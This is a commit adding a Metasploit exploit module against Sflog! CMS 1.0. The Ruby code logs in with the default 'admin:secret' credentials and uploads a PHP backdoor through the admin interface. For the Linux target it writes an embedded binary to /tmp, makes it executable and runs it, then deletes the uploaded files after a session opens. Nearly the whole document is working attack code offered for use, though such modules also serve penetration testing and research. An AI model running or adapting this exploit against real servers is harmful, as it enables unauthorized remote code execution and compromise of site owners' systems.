Add OSVDB-83767: SFlog Upload Exec Module

This module exploits multiiple flaws in SFlog!. By default, the
CMS has a default admin cred of "admin:secret", which can be
abused to access admin features such as blog management.  Through
the management interface, we can upload a backdoor that's accessible
by any remote user, and then we gain code execution.

modules/exploits/multi/http/sflog_upload_exec.rb

@@ -0,0 +1,215 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Exploit::EXE
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "Sflog! CMS 1.0 Arbitrary File Upload Vulnerability",
+			'Description'    => %q{
+				This module exploits multiple design flaws in Sflog 1.0.  By default, the CMS has
+				a default admin credential of "admin:secret", which can be abused to access
+				administrative features such as blogs management.  Through the management
+				interface, we can upload a backdoor that's accessible by any remote user, and then
+				gain arbitrary code execution.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'dun',    #Discovery, PoC
+					'sinn3r'  #Metasploit
+				],
+			'References'     =>
+				[
+					['OSVDB', '83767'],
+					['EDB', '19626']
+				],
+			'Payload'        =>
+				{
+					'BadChars' => "\x00"
+				},
+			'DefaultOptions'  =>
+				{
+					'ExitFunction' => "none"
+				},
+			'Platform'       => ['linux', 'php'],
+			'Targets'        =>
+				[
+				[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
+				[ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "Jul 06 2012",
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/sflog/']),
+				OptString.new('USERNAME',  [true, 'The username to login with', 'admin']),
+				OptString.new('PASSWORD',  [true, 'The password to login with', 'secret'])
+			], self.class)
+	end
+
+
+	def check
+		target_uri.path << '/' if target_uri.path[-1,1] != '/'
+		base = File.dirname("#{target_uri.path}.")
+
+		res = send_request_raw({'uri'=>"#{base}/index.php"})
+
+		if not res
+			return Exploit::CheckCode::Unknown
+		elsif res and res.body =~ /\<input type\=\"hidden\" name\=\"sitesearch\" value\=\"www\.thebonnotgang\.com\/sflog/
+			return Exploit::CheckCode::Detected
+		else
+			return Exploit::CheckCode::Safe
+		end
+	end
+
+
+	#
+	# Embed our binary in PHP, and then extract/execute it on the host.
+	#
+	def get_write_exec_payload(fname, data)
+		p = Rex::Text.encode_base64(generate_payload_exe)
+		php = %Q|
+		<?php
+		$f = fopen("#{fname}", "wb");
+		fwrite($f, base64_decode("#{p}"));
+		fclose($f);
+		exec("chmod 777 #{fname}");
+		exec("#{fname}");
+		?>
+		|
+		php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
+		return php
+	end
+
+
+	def on_new_session(cli)
+		if cli.type == "meterpreter"
+			cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
+		end
+
+		@clean_files.each do |f|
+			print_status("#{@peer} - Removing: #{f}")
+			begin
+				if cli.type == 'meterpreter'
+					cli.fs.file.rm(f)
+				else
+					cli.shell_command_token("rm #{f}")
+				end
+			rescue ::Exception => e
+				print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
+			end
+		end
+	end
+
+
+	#
+	# login unfortunately is needed, because we need to make sure blogID is set, and the upload
+	# script (uploadContent.inc.php) doesn't actually do that, even though we can access it
+	# directly.
+	#
+	def do_login(base)
+		res = send_request_cgi({
+			'method'    => 'POST',
+			'uri'       => "#{base}/admin/login.php",
+			'vars_post' => {
+				'userID'   => datastore['USERNAME'],
+				'password' => datastore['PASSWORD']
+			}
+		})
+
+		if res and res.headers['Set-Cookie'] =~ /PHPSESSID/ and res.body !~ /\<i\>Access denied\!\<\/i\>/
+			return res.headers['Set-Cookie']
+		else
+			return ''
+		end
+	end
+
+
+	#
+	# Upload our payload, and then execute it.
+	#
+	def upload_exec(cookie, base, php_fname, p)
+		data = Rex::MIME::Message.new
+		data.add_part('download', nil, nil, "form-data; name=\"blogID\"")
+		data.add_part('7', nil, nil, "form-data; name=\"contentType\"")
+		data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
+		data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"")
+
+		# The app doesn't really like the extra "\r\n", so we need to remove the newline.
+		post_data = data.to_s
+		post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+
+		print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...")
+		res = send_request_cgi({
+			'method' => 'POST',
+			'uri'    => "#{base}/admin/manage.php",
+			'ctype'  => "multipart/form-data; boundary=#{data.bound}",
+			'data'   => post_data,
+			'cookie' => cookie,
+			'headers' => {
+				'Referer' => "http://#{rhost}#{base}/admin/manage.php",
+				'Origin'  => "http://#{rhost}"
+			}
+		})
+
+		if not res
+			print_error("#{@peer} - No response from host")
+			return
+		end
+
+		target_path = "#{base}/blogs/download/uploads/#{php_fname}"
+		print_status("#{@peer} - Requesting '#{target_path}'...")
+		res = send_request_raw({'uri'=>target_path})
+		if res and res.code == 404
+			print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}")
+			return
+		end
+
+		handler
+	end
+
+
+	def exploit
+		@peer = "#{rhost}:#{rport}"
+
+		target_uri.path << '/' if target_uri.path[-1,1] != '/'
+		base = File.dirname("#{target_uri.path}.")
+
+		print_status("#{@peer} - Attempt to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
+		cookie = do_login(base)
+
+		if cookie.empty?
+			print_error("#{@peer} - Unable to login")
+			return
+		end
+
+		php_fname =  "#{Rex::Text.rand_text_alpha(5)}.php"
+		@clean_files = [php_fname]
+
+		case target['Platform']
+		when 'php'
+			p = "<?php #{payload.encoded} ?>"
+		when 'linux'
+			bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
+			@clean_files << bin_name
+			bin = generate_payload_exe
+			p = get_write_exec_payload("/tmp/#{bin_name}", bin)
+		end
+
+		upload_exec(cookie, base, php_fname, p)
+	end
+end